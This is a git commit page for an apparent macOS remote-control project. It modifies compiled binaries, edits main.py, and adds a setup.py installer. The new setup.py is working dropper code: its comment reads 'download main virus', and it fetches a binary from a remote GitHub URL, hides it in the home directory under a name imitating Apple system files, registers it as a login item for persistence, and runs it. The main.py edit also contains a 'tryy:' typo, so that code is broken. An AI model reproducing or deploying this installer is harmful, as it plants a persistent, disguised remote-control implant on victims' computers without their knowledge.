summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-14 16:40:36 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-14 16:41:22 +0800
commit2259bb7f7f8ce6f80454f09a4d52b2e365e2f89d (patch)
tree10aeb24f5cc729ff4676756b1b349eab2f5c70e9
parenta867993c7945079b20f1f7d3935148f0cc2fa131 (diff)
updated
modified: dist/main modified: dist/main.app/Contents/MacOS/main modified: dist/setup modified: dist/setup.app/Contents/MacOS/setup modified: main.py new file: setup.py
-rwxr-xr-xdist/mainbin6871232 -> 6871216 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin6871232 -> 6871216 bytes
-rwxr-xr-xdist/setupbin4298928 -> 4298912 bytes
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin4298928 -> 4298912 bytes
-rw-r--r--main.py5
-rw-r--r--setup.py14
6 files changed, 18 insertions, 1 deletions
diff --git a/dist/main b/dist/main
index 81991c4..8be2384 100755
--- a/dist/main
+++ b/dist/main
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index e0a889e..73ed371 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup b/dist/setup
index 86c19b6..2080b98 100755
--- a/dist/setup
+++ b/dist/setup
Binary files differ
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
index 093d74d..913064f 100755
--- a/dist/setup.app/Contents/MacOS/setup
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/main.py b/main.py
index cdf813a..0917d83 100644
--- a/main.py
+++ b/main.py
@@ -27,6 +27,9 @@ while True:
old_command = command
except:
pass
- sleep(0.1)
+ tryy:
+ sleep(0.1)
+ except KeyboardInterrupt:
+ continue
except KeyboardInterrupt:
continue
diff --git a/setup.py b/setup.py
new file mode 100644
index 0000000..76e9ca0
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,14 @@
+from requests import get
+from os.path import expanduser
+from os import remove
+from subprocess import Popen as subproc
+from os import system as cmd
+
+filename = "com.apple.com.user.core"
+
+# download main virus
+open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
+
+cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
+
+subproc([f"{expanduser('~')}/.{filename}"])